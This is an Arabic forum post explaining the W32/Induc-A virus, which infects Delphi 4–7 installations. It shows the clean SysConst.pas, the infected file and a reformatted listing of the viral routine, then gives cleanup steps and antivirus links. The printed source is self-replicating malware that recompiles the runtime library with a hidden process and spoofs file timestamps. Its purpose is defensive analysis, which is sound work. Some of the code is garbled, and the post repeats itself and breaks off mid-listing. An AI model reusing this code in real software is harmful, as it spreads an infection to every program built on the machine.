shanks07
10-07-2012, 05:29 PM
السلام عليكم ورحمة الله وبركاته
حبيت اطرح الموضوع للفائده
ولمعرفه سبب التلوث الذي يصيب الدلفي
لقد بحثت كثير ووجددت ماكنت ابحث عنه
علنت sophos على مدونتها الرسمية عن اكتشافها لفيروس W32/Induc-A و الذي يقوم بإصابة ملفات Delphi فقط
و أضافت إلى أن لدى تشغيل ملف مصاب بالفيروس فإنه يقوم بالبحث عن ما إذا كان delphi منصبا على الجهاز ليضيف شيفرة مصدرية إلى الملف SysConst.pas و عليه فإن كل برنامج جديد تتم ترجمته على الجهاز سيحمل معه نسخة من الفيروس
آلية التلويث :
الملف الأصلي : SysConst.pas الخاص بالاصدار دلفي 7
{ ************************************************** ********************* }
{ }
{ Delphi / Kylix Cross-Platform Runtime Library }
{ }
{ Copyright (c) 1995, 2001 Borland Software Corporation }
{ }
{ ************************************************** ********************* }
unit SysConst;
interface
resourcestring
SUnknown = '<unknown>';
SInvalidInteger = '''%s'' is not a valid integer value';
SInvalidFloat = '''%s'' is not a valid floating point value';
SInvalidCurrency = '''%s'' is not a valid currency value';
SInvalidDate = '''%s'' is not a valid date';
SInvalidTime = '''%s'' is not a valid time';
SInvalidDateTime = '''%s'' is not a valid date and time';
SInvalidDateTimeFloat = '''%g'' is not a valid date and time';
SInvalidTimeStamp = '''%d.%d'' is not a valid timestamp';
SInvalidGUID = '''%s'' is not a valid GUID value';
SInvalidBoolean = '''%s'' is not a valid boolean value';
STimeEncodeError = 'Invalid argument to time encode';
SDateEncodeError = 'Invalid argument to date encode';
SOutOfMemory = 'Out of memory';
SInOutError = 'I/O error %d';
SFileNotFound = 'File not found';
SInvalidFilename = 'Invalid filename';
STooManyOpenFiles = 'Too many open files';
SAccessDenied = 'File access denied';
SEndOfFile = 'Read beyond end of file';
SDiskFull = 'Disk full';
SInvalidInput = 'Invalid numeric input';
SDivByZero = 'Division by zero';
SRangeError = 'Range check error';
SIntOverflow = 'Integer overflow';
SInvalidOp = 'Invalid floating point operation';
SZeroDivide = 'Floating point division by zero';
SOverflow = 'Floating point overflow';
SUnderflow = 'Floating point underflow';
SInvalidPointer = 'Invalid pointer operation';
SInvalidCast = 'Invalid class typecast';
{$IFDEF MSWINDOWS}
SAccessViolationArg3 = 'Access violation at address %p. %s of address %p';
{$ENDIF}
{$IFDEF LINUX}
SAccessViolationArg2 = 'Access violation at address %p, accessing address %p';
{$ENDIF}
SAccessViolationNoArg = 'Access violation';
SStackOverflow = 'Stack overflow';
SControlC = 'Control-C hit';
SQuit = 'Quit key hit';
SPrivilege = 'Privileged instruction';
SOperationAborted = 'Operation aborted';
***ception = 'Exception %s in module %s at %p.' + sLineBreak + '%s%s' + sLineBreak;
***ceptTitle = 'Application Error';
{$IFDEF LINUX}
SSigactionFailed = 'sigaction call failed';
{$ENDIF}
SInvalidFormat = 'Format ''%s'' invalid or incompatible with argument';
SArgumentMissing = 'No argument for format ''%s''';
SDispatchError = 'Variant method calls not supported';
SReadAccess = 'Read';
SWriteAccess = 'Write';
SResultTooLong = 'Format result longer than 4096 characters';
SFormatTooLong = 'Format string too long';
SVarArrayCreate = 'Error creating variant or safe array';
SVarArrayBounds = 'Variant or safe array index out of bounds';
SVarArrayLocked = 'Variant or safe array is locked';
SVarArrayWithHResult = 'Unexpected variant or safe array error: %s%.8x';
SInvalidVarCast = 'Invalid variant type conversion';
SInvalidVarOp = 'Invalid variant operation';
SInvalidVarNullOp = 'Invalid NULL variant operation';
SInvalidVarOpWithHResultWithPrefix = 'Invalid variant operation (%s%.8x)'#10'%s';
SVarTypeRangeCheck1 = 'Range check error for variant of type (%s)';
SVarTypeRangeCheck2 = 'Range check error while converting variant of type (%s) into type (%s)';
SVarTypeOutOfRangeWithPrefix = 'Custom variant type (%s%.4x) is out of range';
SVarTypeAlreadyUsedWithPrefix = 'Custom variant type (%s%.4x) already used by %s';
SVarTypeNotUsableWithPrefix = 'Custom variant type (%s%.4x) is not usable';
SVarTypeTooManyCustom = 'Too many custom variant types have been registered';
// the following are not used anymore
SVarNotArray = 'Variant is not an array' deprecated; // not used, use SVarInvalid instead
SVarTypeUnknown = 'Unknown custom variant type ($%.4x)' deprecated; // not used anymore
SVarTypeOutOfRange = 'Custom variant type ($%.4x) is out of range' deprecated;
SVarTypeAlreadyUsed = 'Custom variant type ($%.4x) already used by %s' deprecated;
SVarTypeNotUsable = 'Custom variant type ($%.4x) is not usable' deprecated;
SInvalidVarOpWithHResult = 'Invalid variant operation ($%.8x)' deprecated;
SVarTypeCouldNotConvert = 'Could not convert variant of type (%s) into type (%s)';
SVarTypeConvertOverflow = 'Overflow while converting variant of type (%s) into type (%s)';
SVarOverflow = 'Variant overflow';
SVarInvalid = 'Invalid argument';
SVarBadType = 'Invalid variant type';
SVarNotImplemented = 'Operation not supported';
SVarOutOfMemory = 'Variant operation ran out memory';
SVarUnexpected = 'Unexpected variant error';
SVarDataClearRecursing = 'Recursion while doing a VarDataClear';
SVarDataCopyRecursing = 'Recursion while doing a VarDataCopy';
SVarDataCopyNoIndRecursing = 'Recursion while doing a VarDataCopyNoInd';
SVarDataInitRecursing = 'Recursion while doing a VarDataInit';
SVarDataCastToRecursing = 'Recursion while doing a VarDataCastTo';
SVarIsEmpty = 'Variant is empty';
sUnknownFromType = 'Cannot convert from the specified type';
sUnknownToType = 'Cannot convert to the specified type';
***ternalException = 'External exception %x';
SAssertionFailed = 'Assertion failed';
SIntfCastError = 'Interface not supported';
SSafecallException = 'Exception in safecall method';
SAssertError = '%s (%s, line %d)';
SAbstractError = 'Abstract Error';
SModuleAccessViolation = 'Access violation at address %p in module ''%s''. %s of address %p';
SCannotReadPackageInfo = 'Cannot access package information for package ''%s''';
sErrorLoadingPackage = 'Can''t load package %s.'+sLineBreak+'%s';
SInvalidPackageFile = 'Invalid package file ''%s''';
SInvalidPackageHandle = 'Invalid package handle';
SDuplicatePackageUnit = 'Cannot load package ''%s.'' It contains unit ''%s,''' +
'which is also contained in package ''%s''';
SOSError = 'System Error. Code: %d.'+sLineBreak+'%s';
SUnkOSError = 'A call to an OS function failed';
{$IFDEF MSWINDOWS}
SWin32Error = 'Win32 Error. Code: %d.'#10'%s' deprecated; // use SOSError
SUnkWin32Error = 'A Win32 API function failed' deprecated; // use SUnkOSError
{$ENDIF}
SNL = 'Application is not licensed to use this feature';
SShortMonthNameJan = 'Jan';
SShortMonthNameFeb = 'Feb';
SShortMonthNameMar = 'Mar';
SShortMonthNameApr = 'Apr';
SShortMonthNameMay = 'May';
SShortMonthNameJun = 'Jun';
SShortMonthNameJul = 'Jul';
SShortMonthNameAug = 'Aug';
SShortMonthNameSep = 'Sep';
SShortMonthNameOct = 'Oct';
SShortMonthNameNov = 'Nov';
SShortMonthNameDec = 'Dec';
SLongMonthNameJan = 'January';
SLongMonthNameFeb = 'February';
SLongMonthNameMar = 'March';
SLongMonthNameApr = 'April';
SLongMonthNameMay = 'May';
SLongMonthNameJun = 'June';
SLongMonthNameJul = 'July';
SLongMonthNameAug = 'August';
SLongMonthNameSep = 'September';
SLongMonthNameOct = 'October';
SLongMonthNameNov = 'November';
SLongMonthNameDec = 'December';
SShortDayNameSun = 'Sun';
SShortDayNameMon = 'Mon';
SShortDayNameTue = 'Tue';
SShortDayNameWed = 'Wed';
SShortDayNameThu = 'Thu';
SShortDayNameFri = 'Fri';
SShortDayNameSat = 'Sat';
SLongDayNameSun = 'Sunday';
SLongDayNameMon = 'Monday';
SLongDayNameTue = 'Tuesday';
SLongDayNameWed = 'Wednesday';
SLongDayNameThu = 'Thursday';
SLongDayNameFri = 'Friday';
SLongDayNameSat = 'Saturday';
{$IFDEF LINUX}
SEraEntries = '';
{$ENDIF}
SCannotCreateDir = 'Unable to create directory';
SCodesetConversionError = 'Codeset conversion failure';
implementation
end.
الملف بعد اضافة التلويث :
SLongMonthNameJan = 'January';
SLongMonthNameFeb = 'February';
SLongMonthNameMar = 'March';
SLongMonthNameApr = 'April';
SLongMonthNameMay = 'May';
SLongMonthNameJun = 'June';
SLongMonthNameJul = 'July';
SLongMonthNameAug = 'August';
SLongMonthNameSep = 'September';
SLongMonthNameOct = 'October';
SLongMonthNameNov = 'November';
SLongMonthNameDec = 'December';
SShortDayNameSun = 'Sun';
SShortDayNameMon = 'Mon';
SShortDayNameTue = 'Tue';
SShortDayNameWed = 'Wed';
SShortDayNameThu = 'Thu';
SShortDayNameFri = 'Fri';
SShortDayNameSat = 'Sat';
SLongDayNameSun = 'Sunday';
SLongDayNameMon = 'Monday';
SLongDayNameTue = 'Tuesday';
SLongDayNameWed = 'Wednesday';
SLongDayNameThu = 'Thursday';
SLongDayNameFri = 'Friday';
SLongDayNameSat = 'Saturday';
{$IFDEF LINUX}
SEraEntries = '';
{$ENDIF}
SCannotCreateDir = 'Unable to create directory';
SCodesetConversionError = 'Codeset conversion failure';
implementation
uses windows; var sc:array[1..24] of string=(
'uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b: boolean;t1,t2,t3:FILETIME;begin',
'ج:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar (d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e +$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile( pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=Cre ateFile(pchar(d+$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi \$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');
function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]
=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;
h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:b oolean;t1,t2,t3:FILETIME;begin
ج:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle
(h);exit;end;{'I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile
(f2,d+'pas');rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while
not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos('implementation',s)<>0
then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2
,''''+sc[h],''',');writeln(f2,''''+sc[24]+''');');for h:= 2 to 24 do writeln(f2,
x(sc[h]));closefile(f1);closefile(f2);{'I+}MoveFile(pchar (d+'dcu'),pchar(d+'bak'
)); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.
wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+ '"'+d+'pas"'),0,0,false,0,0,0,
f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile( pchar(d+'bak'),
pchar(d+'dcu'));DeleteFile(pchar(d+'pas'));h:=Crea teFile(pchar(d+'bak'),0,0,0,3,
0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=
CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,
@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of
char; i:cardinal; r:string; v:char; begin for v:='4' to '7' do if RegOpenKeyEx(
HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\ '+v+'.0'),0,KEY_READ,k)=0 then
begin i:=255;if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then begin r:='';i:=
1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+'sourcertlsysSysConst'+
'.pas',r+'libsysconst.','"'+r+'\bin\dcc32.exe" );end;RegCloseKey(k);end; end;
begin st; end.
خوارزميات التلويث :
var sc: array[1..24] of string = (
'uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b: boolean;t1,t2,t3:FILETIME;begin',
'?:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar (d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e +$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile( pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=Cre ateFile(pchar(d+$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi \$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');
function x(s: string): string;
var i: integer;
begin
for i := 1 to length(s) do if s[i] = #36 then
s[i] := #39;
result := s;
end;
procedure re(s, d, e: string);
var f1, f2: textfile;
h: cardinal;
f: STARTUPINFO;
p: PROCESS_INFORMATION;
b: boolean;
t1, t2, t3: FILETIME;
begin
h := CreateFile(pchar(d + 'bak'), 0, 0, 0, 3, 0, 0);
if h <> DWORD(-1) then
begin CloseHandle(h);
exit;
end;
{'I-}
assignfile(f1, s);
reset(f1);
if ioresult <> 0 then
exit;
assignfile(f2, d + 'pas');
rewrite(f2);
if ioresult <> 0 then
begin closefile(f1);
exit;
end;
while not eof(f1) do
begin readln(f1, s);
writeln(f2, s);
if pos('implementation', s) <> 0 then
break;
end;
for h := 1 to 1 do
writeln(f2, sc[h]);
for h := 1 to 23 do writeln(f2, '''' + sc[h], ''',');
writeln(f2, '''' + sc[24] + ''');');
for h := 2 to 24 do writeln(f2, x(sc[h]));
closefile(f1);
closefile(f2);
{'I+}
MoveFile(pchar(d + 'dcu'), pchar(d + 'bak'));
fillchar(f, sizeof(f), 0);
f.cb := sizeof(f);
f.dwFlags := STARTF_USESHOWWINDOW;
f.wShowWindow := SW_HIDE;
b := CreateProcess(nil, pchar(e + '"' + d + 'pas"'), 0, 0, false, 0, 0, 0, f, p);
if b then
WaitForSingleObject(p.hProcess, INFINITE);
MoveFile(pchar(d + 'bak'), pchar(d + 'dcu'));
DeleteFile(pchar(d + 'pas'));
h := CreateFile(pchar(d + 'bak'), 0, 0, 0, 3, 0, 0);
if h = DWORD(-1) then
exit;
GetFileTime(h, @t1, @t2, @t3);
CloseHandle(h);
h := CreateFile(pchar(d + 'dcu'), 256, 0, 0, 3, 0, 0);
if h = DWORD(-1) then
exit;
SetFileTime(h, @t1, @t2, @t3);
CloseHandle(h);
end;
procedure st;
var k: HKEY; c: array[1..255] of char;
i: cardinal;
r: string;
v: char;
begin
for v := '4' to '7' do
if RegOpenKeyEx(HKEY_LOCAL_MACHINE, pchar('Software\Borland\Delphi\' + v + '.0'), 0, KEY_READ, k) = 0 then
begin i := 255;
if RegQueryValueEx(k, 'RootDir', nil, @i, @c, @i) = 0 then
begin r := '';
i := 1;
while c[i] <> #0 do
begin r := r + c[i];
inc(i);
end;
re(r + 'sourcertlsysSysConst' + '.pas', r + 'libsysconst.', '"' + r + '\bin\dcc32.exe" );
end;
RegCloseKey(k);
end;
end;
طريقة عمل الفيروس :
1- نسخ الملف SysConst.pas الأصلي من مجلد : \source\rtl\sys الى مجلد Lib.
2- اضافة الأوامر التي تم ذكرها في نفس الملف.
3- استعمال ملف dcc32.exe لانتاج ملف SysConst.dcu.
4- حذف الملف SysConst.pas المنسوخ في المجلد Lib.
----
5- عمل نسخة Backup للملف الأصلي SysConst.dcu و استبدال الأصلي بالنسخة الملوثة.
في كل مرة مع تشغل الملفات الملوثة المنتجة بدلفي يقوم الفيروس المحقون في الكود بالتحقق بعمل CreateFile على ملف SysConst.bak و في حالة وجوده لا يتم التلويث و العكس صحيح...
الاصدارات المستهدفة تخص نسخ Borland.
Malware يصيب و يبحث عن نسخ دلفي من 4-7 :
procedure st;
var k: HKEY; c: array[1..255] of char;
i: cardinal;
r: string;
v: char;
begin
for v := '4' to '7' do
.
التنظيف يكون على مرحلتين :
المرحلة الأولى :
1- حذف ملف SysConst.dcu من المجلد Lib
2- نسخ ملف SysConst.bak و اعادة تسمية النسخة الى SysConst.dcu
3- الاحتفاظ بالنسخة SysConst.bak لكي لا يتم اعادة تلويث المجلد من جديد.
المرحلة الثانية :
1- حذف كل الملفات التنفيذية التي عملتها بنسخة دلفي الملوثة و اعادة عمل Complie للمشاريع التي تخصها.
2- ايضا احذف الملفات التجريبية - المنتجة بدلفي- التي حملت من النت و احتفظ فقط بالملفات المصدرية.
لتفادي هذه المراحل :rtfm3: يمكنك عمل update لمضاد الفيروسات و فحص جهازك.
وهذه مواقع الحمايه
تتحدث عن الفيروس
http://news.bitdefender.com/NW1116-e...lications.html
http://blog.avast.com/2009/08/19/win...file-infector/
http://www.viruslist.com/en/weblog?weblogid=208187826
حبيت اطرح الموضوع للفائده
ولمعرفه سبب التلوث الذي يصيب الدلفي
لقد بحثت كثير ووجددت ماكنت ابحث عنه
علنت sophos على مدونتها الرسمية عن اكتشافها لفيروس W32/Induc-A و الذي يقوم بإصابة ملفات Delphi فقط
و أضافت إلى أن لدى تشغيل ملف مصاب بالفيروس فإنه يقوم بالبحث عن ما إذا كان delphi منصبا على الجهاز ليضيف شيفرة مصدرية إلى الملف SysConst.pas و عليه فإن كل برنامج جديد تتم ترجمته على الجهاز سيحمل معه نسخة من الفيروس
آلية التلويث :
الملف الأصلي : SysConst.pas الخاص بالاصدار دلفي 7
{ ************************************************** ********************* }
{ }
{ Delphi / Kylix Cross-Platform Runtime Library }
{ }
{ Copyright (c) 1995, 2001 Borland Software Corporation }
{ }
{ ************************************************** ********************* }
unit SysConst;
interface
resourcestring
SUnknown = '<unknown>';
SInvalidInteger = '''%s'' is not a valid integer value';
SInvalidFloat = '''%s'' is not a valid floating point value';
SInvalidCurrency = '''%s'' is not a valid currency value';
SInvalidDate = '''%s'' is not a valid date';
SInvalidTime = '''%s'' is not a valid time';
SInvalidDateTime = '''%s'' is not a valid date and time';
SInvalidDateTimeFloat = '''%g'' is not a valid date and time';
SInvalidTimeStamp = '''%d.%d'' is not a valid timestamp';
SInvalidGUID = '''%s'' is not a valid GUID value';
SInvalidBoolean = '''%s'' is not a valid boolean value';
STimeEncodeError = 'Invalid argument to time encode';
SDateEncodeError = 'Invalid argument to date encode';
SOutOfMemory = 'Out of memory';
SInOutError = 'I/O error %d';
SFileNotFound = 'File not found';
SInvalidFilename = 'Invalid filename';
STooManyOpenFiles = 'Too many open files';
SAccessDenied = 'File access denied';
SEndOfFile = 'Read beyond end of file';
SDiskFull = 'Disk full';
SInvalidInput = 'Invalid numeric input';
SDivByZero = 'Division by zero';
SRangeError = 'Range check error';
SIntOverflow = 'Integer overflow';
SInvalidOp = 'Invalid floating point operation';
SZeroDivide = 'Floating point division by zero';
SOverflow = 'Floating point overflow';
SUnderflow = 'Floating point underflow';
SInvalidPointer = 'Invalid pointer operation';
SInvalidCast = 'Invalid class typecast';
{$IFDEF MSWINDOWS}
SAccessViolationArg3 = 'Access violation at address %p. %s of address %p';
{$ENDIF}
{$IFDEF LINUX}
SAccessViolationArg2 = 'Access violation at address %p, accessing address %p';
{$ENDIF}
SAccessViolationNoArg = 'Access violation';
SStackOverflow = 'Stack overflow';
SControlC = 'Control-C hit';
SQuit = 'Quit key hit';
SPrivilege = 'Privileged instruction';
SOperationAborted = 'Operation aborted';
***ception = 'Exception %s in module %s at %p.' + sLineBreak + '%s%s' + sLineBreak;
***ceptTitle = 'Application Error';
{$IFDEF LINUX}
SSigactionFailed = 'sigaction call failed';
{$ENDIF}
SInvalidFormat = 'Format ''%s'' invalid or incompatible with argument';
SArgumentMissing = 'No argument for format ''%s''';
SDispatchError = 'Variant method calls not supported';
SReadAccess = 'Read';
SWriteAccess = 'Write';
SResultTooLong = 'Format result longer than 4096 characters';
SFormatTooLong = 'Format string too long';
SVarArrayCreate = 'Error creating variant or safe array';
SVarArrayBounds = 'Variant or safe array index out of bounds';
SVarArrayLocked = 'Variant or safe array is locked';
SVarArrayWithHResult = 'Unexpected variant or safe array error: %s%.8x';
SInvalidVarCast = 'Invalid variant type conversion';
SInvalidVarOp = 'Invalid variant operation';
SInvalidVarNullOp = 'Invalid NULL variant operation';
SInvalidVarOpWithHResultWithPrefix = 'Invalid variant operation (%s%.8x)'#10'%s';
SVarTypeRangeCheck1 = 'Range check error for variant of type (%s)';
SVarTypeRangeCheck2 = 'Range check error while converting variant of type (%s) into type (%s)';
SVarTypeOutOfRangeWithPrefix = 'Custom variant type (%s%.4x) is out of range';
SVarTypeAlreadyUsedWithPrefix = 'Custom variant type (%s%.4x) already used by %s';
SVarTypeNotUsableWithPrefix = 'Custom variant type (%s%.4x) is not usable';
SVarTypeTooManyCustom = 'Too many custom variant types have been registered';
// the following are not used anymore
SVarNotArray = 'Variant is not an array' deprecated; // not used, use SVarInvalid instead
SVarTypeUnknown = 'Unknown custom variant type ($%.4x)' deprecated; // not used anymore
SVarTypeOutOfRange = 'Custom variant type ($%.4x) is out of range' deprecated;
SVarTypeAlreadyUsed = 'Custom variant type ($%.4x) already used by %s' deprecated;
SVarTypeNotUsable = 'Custom variant type ($%.4x) is not usable' deprecated;
SInvalidVarOpWithHResult = 'Invalid variant operation ($%.8x)' deprecated;
SVarTypeCouldNotConvert = 'Could not convert variant of type (%s) into type (%s)';
SVarTypeConvertOverflow = 'Overflow while converting variant of type (%s) into type (%s)';
SVarOverflow = 'Variant overflow';
SVarInvalid = 'Invalid argument';
SVarBadType = 'Invalid variant type';
SVarNotImplemented = 'Operation not supported';
SVarOutOfMemory = 'Variant operation ran out memory';
SVarUnexpected = 'Unexpected variant error';
SVarDataClearRecursing = 'Recursion while doing a VarDataClear';
SVarDataCopyRecursing = 'Recursion while doing a VarDataCopy';
SVarDataCopyNoIndRecursing = 'Recursion while doing a VarDataCopyNoInd';
SVarDataInitRecursing = 'Recursion while doing a VarDataInit';
SVarDataCastToRecursing = 'Recursion while doing a VarDataCastTo';
SVarIsEmpty = 'Variant is empty';
sUnknownFromType = 'Cannot convert from the specified type';
sUnknownToType = 'Cannot convert to the specified type';
***ternalException = 'External exception %x';
SAssertionFailed = 'Assertion failed';
SIntfCastError = 'Interface not supported';
SSafecallException = 'Exception in safecall method';
SAssertError = '%s (%s, line %d)';
SAbstractError = 'Abstract Error';
SModuleAccessViolation = 'Access violation at address %p in module ''%s''. %s of address %p';
SCannotReadPackageInfo = 'Cannot access package information for package ''%s''';
sErrorLoadingPackage = 'Can''t load package %s.'+sLineBreak+'%s';
SInvalidPackageFile = 'Invalid package file ''%s''';
SInvalidPackageHandle = 'Invalid package handle';
SDuplicatePackageUnit = 'Cannot load package ''%s.'' It contains unit ''%s,''' +
'which is also contained in package ''%s''';
SOSError = 'System Error. Code: %d.'+sLineBreak+'%s';
SUnkOSError = 'A call to an OS function failed';
{$IFDEF MSWINDOWS}
SWin32Error = 'Win32 Error. Code: %d.'#10'%s' deprecated; // use SOSError
SUnkWin32Error = 'A Win32 API function failed' deprecated; // use SUnkOSError
{$ENDIF}
SNL = 'Application is not licensed to use this feature';
SShortMonthNameJan = 'Jan';
SShortMonthNameFeb = 'Feb';
SShortMonthNameMar = 'Mar';
SShortMonthNameApr = 'Apr';
SShortMonthNameMay = 'May';
SShortMonthNameJun = 'Jun';
SShortMonthNameJul = 'Jul';
SShortMonthNameAug = 'Aug';
SShortMonthNameSep = 'Sep';
SShortMonthNameOct = 'Oct';
SShortMonthNameNov = 'Nov';
SShortMonthNameDec = 'Dec';
SLongMonthNameJan = 'January';
SLongMonthNameFeb = 'February';
SLongMonthNameMar = 'March';
SLongMonthNameApr = 'April';
SLongMonthNameMay = 'May';
SLongMonthNameJun = 'June';
SLongMonthNameJul = 'July';
SLongMonthNameAug = 'August';
SLongMonthNameSep = 'September';
SLongMonthNameOct = 'October';
SLongMonthNameNov = 'November';
SLongMonthNameDec = 'December';
SShortDayNameSun = 'Sun';
SShortDayNameMon = 'Mon';
SShortDayNameTue = 'Tue';
SShortDayNameWed = 'Wed';
SShortDayNameThu = 'Thu';
SShortDayNameFri = 'Fri';
SShortDayNameSat = 'Sat';
SLongDayNameSun = 'Sunday';
SLongDayNameMon = 'Monday';
SLongDayNameTue = 'Tuesday';
SLongDayNameWed = 'Wednesday';
SLongDayNameThu = 'Thursday';
SLongDayNameFri = 'Friday';
SLongDayNameSat = 'Saturday';
{$IFDEF LINUX}
SEraEntries = '';
{$ENDIF}
SCannotCreateDir = 'Unable to create directory';
SCodesetConversionError = 'Codeset conversion failure';
implementation
end.
الملف بعد اضافة التلويث :
SLongMonthNameJan = 'January';
SLongMonthNameFeb = 'February';
SLongMonthNameMar = 'March';
SLongMonthNameApr = 'April';
SLongMonthNameMay = 'May';
SLongMonthNameJun = 'June';
SLongMonthNameJul = 'July';
SLongMonthNameAug = 'August';
SLongMonthNameSep = 'September';
SLongMonthNameOct = 'October';
SLongMonthNameNov = 'November';
SLongMonthNameDec = 'December';
SShortDayNameSun = 'Sun';
SShortDayNameMon = 'Mon';
SShortDayNameTue = 'Tue';
SShortDayNameWed = 'Wed';
SShortDayNameThu = 'Thu';
SShortDayNameFri = 'Fri';
SShortDayNameSat = 'Sat';
SLongDayNameSun = 'Sunday';
SLongDayNameMon = 'Monday';
SLongDayNameTue = 'Tuesday';
SLongDayNameWed = 'Wednesday';
SLongDayNameThu = 'Thursday';
SLongDayNameFri = 'Friday';
SLongDayNameSat = 'Saturday';
{$IFDEF LINUX}
SEraEntries = '';
{$ENDIF}
SCannotCreateDir = 'Unable to create directory';
SCodesetConversionError = 'Codeset conversion failure';
implementation
uses windows; var sc:array[1..24] of string=(
'uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b: boolean;t1,t2,t3:FILETIME;begin',
'ج:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
